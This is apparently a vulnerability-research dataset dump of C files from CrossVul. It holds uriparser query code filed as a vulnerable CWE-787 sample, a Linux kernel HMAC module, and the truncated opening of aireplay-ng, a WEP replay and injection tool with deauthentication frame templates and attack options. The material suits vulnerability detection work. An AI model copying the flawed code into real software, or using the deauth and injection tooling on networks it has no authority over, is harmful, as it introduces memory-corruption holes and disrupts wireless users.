malloc(charsRequired * sizeof(URI_CHAR)); if (queryString == NULL) { return URI_ERROR_MALLOC; } /* Put query in */ res = URI_FUNC(ComposeQueryEx)(queryString, queryList, charsRequired, NULL, spaceToPlus, normalizeBreaks); if (res != URI_SUCCESS) { free(queryString); return res; } *dest = queryString; return URI_SUCCESS; } int URI_FUNC(ComposeQueryEngine)(URI_CHAR * dest, const URI_TYPE(QueryList) * queryList, int maxChars, int * charsWritten, int * charsRequired, UriBool spaceToPlus, UriBool normalizeBreaks) { UriBool firstItem = URI_TRUE; int ampersandLen = 0; /* increased to 1 from second item on */ URI_CHAR * write = dest; /* Subtract terminator */ if (dest == NULL) { *charsRequired = 0; } else { maxChars--; } while (queryList != NULL) { const URI_CHAR * const key = queryList->key; const URI_CHAR * const value = queryList->value; const int worstCase = (normalizeBreaks == URI_TRUE ? 6 : 3); const int keyLen = (key == NULL) ? 0 : (int)URI_STRLEN(key); const int keyRequiredChars = worstCase * keyLen; const int valueLen = (value == NULL) ? 0 : (int)URI_STRLEN(value); const int valueRequiredChars = worstCase * valueLen; if (dest == NULL) { if (firstItem == URI_TRUE) { ampersandLen = 1; firstItem = URI_FALSE; } (*charsRequired) += ampersandLen + keyRequiredChars + ((value == NULL) ? 0 : 1 + valueRequiredChars); } else { URI_CHAR * afterKey; if ((write - dest) + ampersandLen + keyRequiredChars > maxChars) { return URI_ERROR_OUTPUT_TOO_LARGE; } /* Copy key */ if (firstItem == URI_TRUE) { firstItem = URI_FALSE; } else { write[0] = _UT('&'); write++; } afterKey = URI_FUNC(EscapeEx)(key, key + keyLen, write, spaceToPlus, normalizeBreaks); write += (afterKey - write); if (value != NULL) { URI_CHAR * afterValue; if ((write - dest) + 1 + valueRequiredChars > maxChars) { return URI_ERROR_OUTPUT_TOO_LARGE; } /* Copy value */ write[0] = _UT('='); write++; afterValue = URI_FUNC(EscapeEx)(value, value + valueLen, write, spaceToPlus, normalizeBreaks); write += (afterValue - write); } } queryList = queryList->next; } if (dest != NULL) { write[0] = _UT('\0'); if (charsWritten != NULL) { *charsWritten = (int)(write - dest) + 1; /* .. for terminator */ } } return URI_SUCCESS; } UriBool URI_FUNC(AppendQueryItem)(URI_TYPE(QueryList) ** prevNext, int * itemCount, const URI_CHAR * keyFirst, const URI_CHAR * keyAfter, const URI_CHAR * valueFirst, const URI_CHAR * valueAfter, UriBool plusToSpace, UriBreakConversion breakConversion) { const int keyLen = (int)(keyAfter - keyFirst); const int valueLen = (int)(valueAfter - valueFirst); URI_CHAR * key; URI_CHAR * value; if ((prevNext == NULL) || (itemCount == NULL) || (keyFirst == NULL) || (keyAfter == NULL) || (keyFirst > keyAfter) || (valueFirst > valueAfter) || ((keyFirst == keyAfter) && (valueFirst == NULL) && (valueAfter == NULL))) { return URI_TRUE; } /* Append new empty item */ *prevNext = malloc(1 * sizeof(URI_TYPE(QueryList))); if (*prevNext == NULL) { return URI_FALSE; /* Raises malloc error */ } (*prevNext)->next = NULL; /* Fill key */ key = malloc((keyLen + 1) * sizeof(URI_CHAR)); if (key == NULL) { free(*prevNext); *prevNext = NULL; return URI_FALSE; /* Raises malloc error */ } key[keyLen] = _UT('\0'); if (keyLen > 0) { /* Copy 1:1 */ memcpy(key, keyFirst, keyLen * sizeof(URI_CHAR)); /* Unescape */ URI_FUNC(UnescapeInPlaceEx)(key, plusToSpace, breakConversion); } (*prevNext)->key = key; /* Fill value */ if (valueFirst != NULL) { value = malloc((valueLen + 1) * sizeof(URI_CHAR)); if (value == NULL) { free(key); free(*prevNext); *prevNext = NULL; return URI_FALSE; /* Raises malloc error */ } value[valueLen] = _UT('\0'); if (valueLen > 0) { /* Copy 1:1 */ memcpy(value, valueFirst, valueLen * sizeof(URI_CHAR)); /* Unescape */ URI_FUNC(UnescapeInPlaceEx)(value, plusToSpace, breakConversion); } (*prevNext)->value = value; } else { value = NULL; } (*prevNext)->value = value; (*itemCount)++; return URI_TRUE; } void URI_FUNC(FreeQueryList)(URI_TYPE(QueryList) * queryList) { while (queryList != NULL) { URI_TYPE(QueryList) * nextBackup = queryList->next; free((URI_CHAR *)queryList->key); /* const cast */ free((URI_CHAR *)queryList->value); /* const cast */ free(queryList); queryList = nextBackup; } } int URI_FUNC(DissectQueryMalloc)(URI_TYPE(QueryList) ** dest, int * itemCount, const URI_CHAR * first, const URI_CHAR * afterLast) { const UriBool plusToSpace = URI_TRUE; const UriBreakConversion breakConversion = URI_BR_DONT_TOUCH; return URI_FUNC(DissectQueryMallocEx)(dest, itemCount, first, afterLast, plusToSpace, breakConversion); } int URI_FUNC(DissectQueryMallocEx)(URI_TYPE(QueryList) ** dest, int * itemCount, const URI_CHAR * first, const URI_CHAR * afterLast, UriBool plusToSpace, UriBreakConversion breakConversion) { const URI_CHAR * walk = first; const URI_CHAR * keyFirst = first; const URI_CHAR * keyAfter = NULL; const URI_CHAR * valueFirst = NULL; const URI_CHAR * valueAfter = NULL; URI_TYPE(QueryList) ** prevNext = dest; int nullCounter; int * itemsAppended = (itemCount == NULL) ? &nullCounter : itemCount; if ((dest == NULL) || (first == NULL) || (afterLast == NULL)) { return URI_ERROR_NULL; } if (first > afterLast) { return URI_ERROR_RANGE_INVALID; } *dest = NULL; *itemsAppended = 0; /* Parse query string */ for (; walk < afterLast; walk++) { switch (*walk) { case _UT('&'): if (valueFirst != NULL) { valueAfter = walk; } else { keyAfter = walk; } if (URI_FUNC(AppendQueryItem)(prevNext, itemsAppended, keyFirst, keyAfter, valueFirst, valueAfter, plusToSpace, breakConversion) == URI_FALSE) { /* Free list we built */ *itemsAppended = 0; URI_FUNC(FreeQueryList)(*dest); return URI_ERROR_MALLOC; } /* Make future items children of the current */ if ((prevNext != NULL) && (*prevNext != NULL)) { prevNext = &((*prevNext)->next); } if (walk + 1 < afterLast) { keyFirst = walk + 1; } else { keyFirst = NULL; } keyAfter = NULL; valueFirst = NULL; valueAfter = NULL; break; case _UT('='): /* NOTE: WE treat the first '=' as a separator, */ /* all following go into the value part */ if (keyAfter == NULL) { keyAfter = walk; if (walk + 1 <= afterLast) { valueFirst = walk + 1; valueAfter = walk + 1; } } break; default: break; } } if (valueFirst != NULL) { /* Must be key/value pair */ valueAfter = walk; } else { /* Must be key only */ keyAfter = walk; } if (URI_FUNC(AppendQueryItem)(prevNext, itemsAppended, keyFirst, keyAfter, valueFirst, valueAfter, plusToSpace, breakConversion) == URI_FALSE) { /* Free list we built */ *itemsAppended = 0; URI_FUNC(FreeQueryList)(*dest); return URI_ERROR_MALLOC; } return URI_SUCCESS; } #endif
./CrossVul/dataset_final_sorted/CWE-787/c/bad_443_0
crossvul-cpp_data_good_2977_0
/* * Cryptographic API. * * HMAC: Keyed-Hashing for Message Authentication (RFC2104). * * Copyright (c) 2002 James Morris <jmorris@intercode.com.au> * Copyright (c) 2006 Herbert Xu <herbert@gondor.apana.org.au> * * The HMAC implementation is derived from USAGI. * Copyright (c) 2002 Kazunori Miyazawa <miyazawa@linux-ipv6.org> / USAGI * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free * Software Foundation; either version 2 of the License, or (at your option) * any later version. * */ #include <crypto/hmac.h> #include <crypto/internal/hash.h> #include <crypto/scatterwalk.h> #include <linux/err.h> #include <linux/init.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/scatterlist.h> #include <linux/string.h> struct hmac_ctx { struct crypto_shash *hash; }; static inline void *align_ptr(void *p, unsigned int align) { return (void *)ALIGN((unsigned long)p, align); } static inline struct hmac_ctx *hmac_ctx(struct crypto_shash *tfm) { return align_ptr(crypto_shash_ctx_aligned(tfm) + crypto_shash_statesize(tfm) * 2, crypto_tfm_ctx_alignment()); } static int hmac_setkey(struct crypto_shash *parent, const u8 *inkey, unsigned int keylen) { int bs = crypto_shash_blocksize(parent); int ds = crypto_shash_digestsize(parent); int ss = crypto_shash_statesize(parent); char *ipad = crypto_shash_ctx_aligned(parent); char *opad = ipad + ss; struct hmac_ctx *ctx = align_ptr(opad + ss, crypto_tfm_ctx_alignment()); struct crypto_shash *hash = ctx->hash; SHASH_DESC_ON_STACK(shash, hash); unsigned int i; shash->tfm = hash; shash->flags = crypto_shash_get_flags(parent) & CRYPTO_TFM_REQ_MAY_SLEEP; if (keylen > bs) { int err; err = crypto_shash_digest(shash, inkey, keylen, ipad); if (err) return err; keylen = ds; } else memcpy(ipad, inkey, keylen); memset(ipad + keylen, 0, bs - keylen); memcpy(opad, ipad, bs); for (i = 0; i < bs; i++) { ipad[i] ^= HMAC_IPAD_VALUE; opad[i] ^= HMAC_OPAD_VALUE; } return crypto_shash_init(shash) ?: crypto_shash_update(shash, ipad, bs) ?: crypto_shash_export(shash, ipad) ?: crypto_shash_init(shash) ?: crypto_shash_update(shash, opad, bs) ?: crypto_shash_export(shash, opad); } static int hmac_export(struct shash_desc *pdesc, void *out) { struct shash_desc *desc = shash_desc_ctx(pdesc); desc->flags = pdesc->flags & CRYPTO_TFM_REQ_MAY_SLEEP; return crypto_shash_export(desc, out); } static int hmac_import(struct shash_desc *pdesc, const void *in) { struct shash_desc *desc = shash_desc_ctx(pdesc); struct hmac_ctx *ctx = hmac_ctx(pdesc->tfm); desc->tfm = ctx->hash; desc->flags = pdesc->flags & CRYPTO_TFM_REQ_MAY_SLEEP; return crypto_shash_import(desc, in); } static int hmac_init(struct shash_desc *pdesc) { return hmac_import(pdesc, crypto_shash_ctx_aligned(pdesc->tfm)); } static int hmac_update(struct shash_desc *pdesc, const u8 *data, unsigned int nbytes) { struct shash_desc *desc = shash_desc_ctx(pdesc); desc->flags = pdesc->flags & CRYPTO_TFM_REQ_MAY_SLEEP; return crypto_shash_update(desc, data, nbytes); } static int hmac_final(struct shash_desc *pdesc, u8 *out) { struct crypto_shash *parent = pdesc->tfm; int ds = crypto_shash_digestsize(parent); int ss = crypto_shash_statesize(parent); char *opad = crypto_shash_ctx_aligned(parent) + ss; struct shash_desc *desc = shash_desc_ctx(pdesc); desc->flags = pdesc->flags & CRYPTO_TFM_REQ_MAY_SLEEP; return crypto_shash_final(desc, out) ?: crypto_shash_import(desc, opad) ?: crypto_shash_finup(desc, out, ds, out); } static int hmac_finup(struct shash_desc *pdesc, const u8 *data, unsigned int nbytes, u8 *out) { struct crypto_shash *parent = pdesc->tfm; int ds = crypto_shash_digestsize(parent); int ss = crypto_shash_statesize(parent); char *opad = crypto_shash_ctx_aligned(parent) + ss; struct shash_desc *desc = shash_desc_ctx(pdesc); desc->flags = pdesc->flags & CRYPTO_TFM_REQ_MAY_SLEEP; return crypto_shash_finup(desc, data, nbytes, out) ?: crypto_shash_import(desc, opad) ?: crypto_shash_finup(desc, out, ds, out); } static int hmac_init_tfm(struct crypto_tfm *tfm) { struct crypto_shash *parent = __crypto_shash_cast(tfm); struct crypto_shash *hash; struct crypto_instance *inst = (void *)tfm->__crt_alg; struct crypto_shash_spawn *spawn = crypto_instance_ctx(inst); struct hmac_ctx *ctx = hmac_ctx(parent); hash = crypto_spawn_shash(spawn); if (IS_ERR(hash)) return PTR_ERR(hash); parent->descsize = sizeof(struct shash_desc) + crypto_shash_descsize(hash); ctx->hash = hash; return 0; } static void hmac_exit_tfm(struct crypto_tfm *tfm) { struct hmac_ctx *ctx = hmac_ctx(__crypto_shash_cast(tfm)); crypto_free_shash(ctx->hash); } static int hmac_create(struct crypto_template *tmpl, struct rtattr **tb) { struct shash_instance *inst; struct crypto_alg *alg; struct shash_alg *salg; int err; int ds; int ss; err = crypto_check_attr_type(tb, CRYPTO_ALG_TYPE_SHASH); if (err) return err; salg = shash_attr_alg(tb[1], 0, 0); if (IS_ERR(salg)) return PTR_ERR(salg); alg = &salg->base; /* The underlying hash algorithm must be unkeyed */ err = -EINVAL; if (crypto_shash_alg_has_setkey(salg)) goto out_put_alg; ds = salg->digestsize; ss = salg->statesize; if (ds > alg->cra_blocksize || ss < alg->cra_blocksize) goto out_put_alg; inst = shash_alloc_instance("hmac", alg); err = PTR_ERR(inst); if (IS_ERR(inst)) goto out_put_alg; err = crypto_init_shash_spawn(shash_instance_ctx(inst), salg, shash_crypto_instance(inst)); if (err) goto out_free_inst; inst->alg.base.cra_priority = alg->cra_priority; inst->alg.base.cra_blocksize = alg->cra_blocksize; inst->alg.base.cra_alignmask = alg->cra_alignmask; ss = ALIGN(ss, alg->cra_alignmask + 1); inst->alg.digestsize = ds; inst->alg.statesize = ss; inst->alg.base.cra_ctxsize = sizeof(struct hmac_ctx) + ALIGN(ss * 2, crypto_tfm_ctx_alignment()); inst->alg.base.cra_init = hmac_init_tfm; inst->alg.base.cra_exit = hmac_exit_tfm; inst->alg.init = hmac_init; inst->alg.update = hmac_update; inst->alg.final = hmac_final; inst->alg.finup = hmac_finup; inst->alg.export = hmac_export; inst->alg.import = hmac_import; inst->alg.setkey = hmac_setkey; err = shash_register_instance(tmpl, inst); if (err) { out_free_inst: shash_free_instance(shash_crypto_instance(inst)); } out_put_alg: crypto_mod_put(alg); return err; } static struct crypto_template hmac_tmpl = { .name = "hmac", .create = hmac_create, .free = shash_free_instance, .module = THIS_MODULE, }; static int __init hmac_module_init(void) { return crypto_register_template(&hmac_tmpl); } static void __exit hmac_module_exit(void) { crypto_unregister_template(&hmac_tmpl); } module_init(hmac_module_init); module_exit(hmac_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("HMAC hash algorithm"); MODULE_ALIAS_CRYPTO("hmac");
./CrossVul/dataset_final_sorted/CWE-787/c/good_2977_0
crossvul-cpp_data_good_2312_0
/* * 802.11 WEP replay & injection attacks * * Copyright (C) 2006-2013 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * WEP decryption attack (chopchop) developed by KoreK * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #if defined(linux) #include <linux/rtc.h> #endif #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <sys/time.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <dirent.h> #include <signal.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <errno.h> #include <time.h> #include <getopt.h> #include <fcntl.h> #include <ctype.h> #include <limits.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include "version.h" #include "pcap.h" #include "osdep/osdep.h" #include "crypto.h" #include "common.h" #define RTC_RESOLUTION 8192 #define REQUESTS 30 #define MAX_APS 20 #define NEW_IV 1 #define RETRY 2 #define ABORT 3 #define DEAUTH_REQ \ "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00" #define AUTH_REQ \ "\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00" #define ASSOC_REQ \ "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00" #define REASSOC_REQ \ "\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00" #define NULL_DATA \ "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B" #define RTS \ "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" #define RATES \ "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C" #define PROBE_REQ \ "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" #define RATE_NUM 12 #define RATE_1M 1000000 #define RATE_2M 2000000 #define RATE_5_5M 5500000 #define RATE_11M 11000000 #define RATE_6M 6000000 #define RATE_9M 9000000 #define RATE_12M 12000000 #define RATE_18M 18000000 #define RATE_24M 24000000 #define RATE_36M 36000000 #define RATE_48M 48000000 #define RATE_54M 54000000 int bitrates[RATE_NUM]={RATE_1M, RATE_2M, RATE_5_5M, RATE_6M, RATE_9M, RATE_11M, RATE_12M, RATE_18M, RATE_24M, RATE_36M, RATE_48M, RATE_54M}; extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern int maccmp(unsigned char *mac1, unsigned char *mac2); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); extern int check_crc_buf( unsigned char *buf, int len ); extern const unsigned long int crc_tbl[256]; extern const unsigned char crc_chop_tbl[256][4]; char usage[] = "\n" " %s - (C) 2006-2013 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: aireplay-ng <options> <replay interface>\n" "\n" " Filter options:\n" "\n" " -b bssid : MAC address, Access Point\n" " -d dmac : MAC address, Destination\n" " -s smac : MAC address, Source\n" " -m len : minimum packet length\n" " -n len : maximum packet length\n" " -u type : frame control, type field\n" " -v subt : frame control, subtype field\n" " -t tods : frame control, To DS bit\n" " -f fromds : frame control, From DS bit\n" " -w iswep : frame control, WEP bit\n" " -D : disable AP detection\n" "\n" " Replay options:\n" "\n" " -x nbpps : number of packets per second\n" " -p fctrl : set frame control word (hex)\n" " -a bssid : set Access Point MAC address\n" " -c dmac : set Destination MAC address\n" " -h smac : set Source MAC address\n" " -g value : change ring buffer size (default: 8)\n" " -F : choose first matching packet\n" "\n" " Fakeauth attack options:\n" "\n" " -e essid : set target AP SSID\n" " -o npckts : number of packets per burst (0=auto, default: 1)\n" " -q sec : seconds between keep-alives\n" " -Q : send reassociation requests\n" " -y prga : keystream for shared key auth\n" " -T n : exit after retry fake auth request n time\n" "\n" " Arp Replay attack options:\n" "\n" " -j : inject FromDS packets\n" "\n" " Fragmentation attack options:\n" "\n" " -k IP : set destination IP in fragments\n" " -l IP : set source IP in fragments\n" "\n" " Test attack options:\n" "\n" " -B : activates the bitrate test\n" "\n" /* " WIDS evasion options:\n" " -y value : Use packets older than n packets\n" " -z : Ghosting\n" "\n" */ " Source options:\n" "\n" " -i iface : capture packets from this interface\n" " -r file : extract packets from this pcap file\n" "\n" " Miscellaneous options:\n" "\n" " -R : disable /dev/rtc usage\n" " --ignore-negative-one : if the interface's channel can't be determined,\n" " ignore the mismatch, needed for unpatched cfg80211\n" "\n" " Attack modes (numbers can still be used):\n" "\n" " --deauth count : deauthenticate 1 or all stations (-0)\n" " --fakeauth delay : fake authentication with AP (-1)\n" " --interactive : interactive frame selection (-2)\n" " --arpreplay : standard ARP-request replay (-3)\n" " --chopchop : decrypt/chopchop WEP packet (-4)\n" " --fragment : generates valid keystream (-5)\n" " --caffe-latte : query a client for new IVs (-6)\n" " --cfrag : fragments against a client (-7)\n" " --migmode : attacks WPA migration mode (-8)\n" " --test : tests injection and quality (-9)\n" "\n" " --help : Displays this usage screen\n" "\n"; struct options { unsigned char f_bssid[6]; unsigned char f_dmac[6]; unsigned char f_smac[6]; int f_minlen; int f_maxlen; int f_type; int f_subtype; int f_tods; int f_fromds; int f_iswep; int r_nbpps; int r_fctrl; unsigned char r_bssid[6]; unsigned char r_dmac[6]; unsigned char r_smac[6]; unsigned char r_dip[4]; unsigned char r_sip[4]; char r_essid[33]; int r_fromdsinj; char r_smac_set; char ip_out[16]; //16 for 15 chars + \x00 char ip_in[16]; int port_out; int port_in; char *iface_out; char *s_face; char *s_file; unsigned char *prga; int a_mode; int a_count; int a_delay; int f_retry; int ringbuffer; int ghost; int prgalen; int delay; int npackets; int fast; int bittest; int nodetect; int ignore_negative_one; int rtc; int reassoc; } opt; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; unsigned char mac_in[6]; unsigned char mac_out[6]; int is_wlanng; int is_hostap; int is_madwifi; int is_madwifing; int is_bcm43xx; FILE *f_cap_in; struct pcap_file_header pfh_in; } dev; static struct wif *_wi_in, *_wi_out; struct ARP_req { unsigned char *buf; int hdrlen; int len; }; struct APt { unsigned char set; unsigned char found; unsigned char len; unsigned char essid[255]; unsigned char bssid[6]; unsigned char chan; unsigned int ping[REQUESTS]; int pwr[REQUESTS]; }; struct APt ap[MAX_APS]; unsigned long nb_pkt_sent; unsigned char h80211[4096]; unsigned char tmpbuf[4096]; unsigned char srcbuf[4096]; char strbuf[512]; unsigned char ska_auth1[] = "\xb0\x00\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\xb0\x01\x01\x00\x01\x00\x00\x00"; unsigned char ska_auth3[4096] = "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\xc0\x01"; int ctrl_c, alarmed; char * iwpriv; void sighandler( int signum ) { if( signum == SIGINT ) ctrl_c++; if( signum == SIGALRM ) alarmed++; } int reset_ifaces() { //close interfaces if(_wi_in != _wi_out) { if(_wi_in) { wi_close(_wi_in); _wi_in = NULL; } if(_wi_out) { wi_close(_wi_out); _wi_out = NULL; } } else { if(_wi_out) { wi_close(_wi_out); _wi_out = NULL; _wi_in = NULL; } } /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } wi_get_mac(_wi_out, dev.mac_out); return 0; } int set_bitrate(struct wif *wi, int rate) { int i, newrate; if( wi_set_rate(wi, rate) ) return 1; // if( reset_ifaces() ) // return 1; //Workaround for buggy drivers (rt73) that do not accept 5.5M, but 5M instead if (rate == 5500000 && wi_get_rate(wi) != 5500000) { if( wi_set_rate(wi, 5000000) ) return 1; } newrate = wi_get_rate(wi); for(i=0; i<RATE_NUM; i++) { if(bitrates[i] == rate) break; } if(i==RATE_NUM) i=-1; if( newrate != rate ) { if(i!=-1) { if( i>0 ) { if(bitrates[i-1] >= newrate) { printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0)); return 1; } } if( i<RATE_NUM-1 ) { if(bitrates[i+1] <= newrate) { printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0)); return 1; } } return 0; } printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0)); return 1; } return 0; } int send_packet(void *buf, size_t count) { struct wif *wi = _wi_out; /* XXX globals suck */ unsigned char *pkt = (unsigned char*) buf; if( (count > 24) && (pkt[1] & 0x04) == 0 && (pkt[22] & 0x0F) == 0) { pkt[22] = (nb_pkt_sent & 0x0000000F) << 4; pkt[23] = (nb_pkt_sent & 0x00000FF0) >> 4; } if (wi_write(wi, buf, count, NULL) == -1) { switch (errno) { case EAGAIN: case ENOBUFS: usleep(10000); return 0; /* XXX not sure I like this... -sorbo */ } perror("wi_write()"); return -1; } nb_pkt_sent++; return 0; } int read_packet(void *buf, size_t count, struct rx_info *ri) { struct wif *wi = _wi_in; /* XXX */ int rc; rc = wi_read(wi, buf, count, ri); if (rc == -1) { switch (errno) { case EAGAIN: return 0; } perror("wi_read()"); return -1; } return rc; } void read_sleep( int usec ) { struct timeval tv, tv2, tv3; int caplen; fd_set rfds; gettimeofday(&tv, NULL); gettimeofday(&tv2, NULL); tv3.tv_sec=0; tv3.tv_usec=10000; while( ((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) < (usec) ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv3 ) < 0 ) { continue; } if( FD_ISSET( dev.fd_in, &rfds ) ) caplen = read_packet( h80211, sizeof( h80211 ), NULL ); gettimeofday(&tv2, NULL); } } int filter_packet( unsigned char *h80211, int caplen ) { int z, mi_b, mi_s, mi_d, ext=0, qos; if(caplen <= 0) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) { qos = 1; /* 802.11e QoS */ z+=2; } if( (h80211[0] & 0x0C) == 0x08) //if data packet ext = z-24; //how many bytes longer than default ieee80211 header /* check length */ if( caplen-ext < opt.f_minlen || caplen-ext > opt.f_maxlen ) return( 1 ); /* check the frame control bytes */ if( ( h80211[0] & 0x0C ) != ( opt.f_type << 2 ) && opt.f_type >= 0 ) return( 1 ); if( ( h80211[0] & 0x70 ) != (( opt.f_subtype << 4 ) & 0x70) && //ignore the leading bit (QoS) opt.f_subtype >= 0 ) return( 1 ); if( ( h80211[1] & 0x01 ) != ( opt.f_tods ) && opt.f_tods >= 0 ) return( 1 ); if( ( h80211[1] & 0x02 ) != ( opt.f_fromds << 1 ) && opt.f_fromds >= 0 ) return( 1 ); if( ( h80211[1] & 0x40 ) != ( opt.f_iswep << 6 ) && opt.f_iswep >= 0 ) return( 1 ); /* check the extended IV (TKIP) flag */ if( opt.f_type == 2 && opt.f_iswep == 1 && ( h80211[z + 3] & 0x20 ) != 0 ) return( 1 ); /* MAC address checking */ switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } if( memcmp( opt.f_bssid, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_b, opt.f_bssid, 6 ) != 0 ) return( 1 ); if( memcmp( opt.f_smac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_s, opt.f_smac, 6 ) != 0 ) return( 1 ); if( memcmp( opt.f_dmac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_d, opt.f_dmac, 6 ) != 0 ) return( 1 ); /* this one looks good */ return( 0 ); } int wait_for_beacon(unsigned char *bssid, unsigned char *capa, char *essid) { int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0; unsigned char pkt_sniff[4096]; struct timeval tv,tv2; char essid2[33]; gettimeofday(&tv, NULL); while (1) { len = 0; while (len < 22) { len = read_packet(pkt_sniff, sizeof(pkt_sniff), NULL); gettimeofday(&tv2, NULL); if(((tv2.tv_sec-tv.tv_sec)*1000000) + (tv2.tv_usec-tv.tv_usec) > 10000*1000) //wait 10sec for beacon frame { return -1; } if(len <= 0) usleep(1); } if (! memcmp(pkt_sniff, "\x80", 1)) { pos = 0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = pkt_sniff[pos]; taglen = pkt_sniff[pos+1]; } while(tagtype != 3 && pos < len-2); if(tagtype != 3) continue; if(taglen != 1) continue; if(pos+2+taglen > len) continue; chan = pkt_sniff[pos+2]; if(essid) { pos = 0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = pkt_sniff[pos]; taglen = pkt_sniff[pos+1]; } while(tagtype != 0 && pos < len-2); if(tagtype != 0) continue; if(taglen <= 1) { if (memcmp(bssid, pkt_sniff+10, 6) == 0) break; else continue; } if(pos+2+taglen > len) continue; if(taglen > 32)taglen = 32; if((pkt_sniff+pos+2)[0] < 32 && memcmp(bssid, pkt_sniff+10, 6) == 0) { break; } /* if bssid is given, copy essid */ if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) == 0) { memset(essid, 0, 33); memcpy(essid, pkt_sniff+pos+2, taglen); break; } /* if essid is given, copy bssid AND essid, so we can handle case insensitive arguments */ if(bssid != NULL && memcmp(bssid, NULL_MAC, 6) == 0 && strncasecmp(essid, (char*)pkt_sniff+pos+2, taglen) == 0 && strlen(essid) == (unsigned)taglen) { memset(essid, 0, 33); memcpy(essid, pkt_sniff+pos+2, taglen); memcpy(bssid, pkt_sniff+10, 6); printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to given ESSID \"%s\".\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], essid); break; } /* if essid and bssid are given, check both */ if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 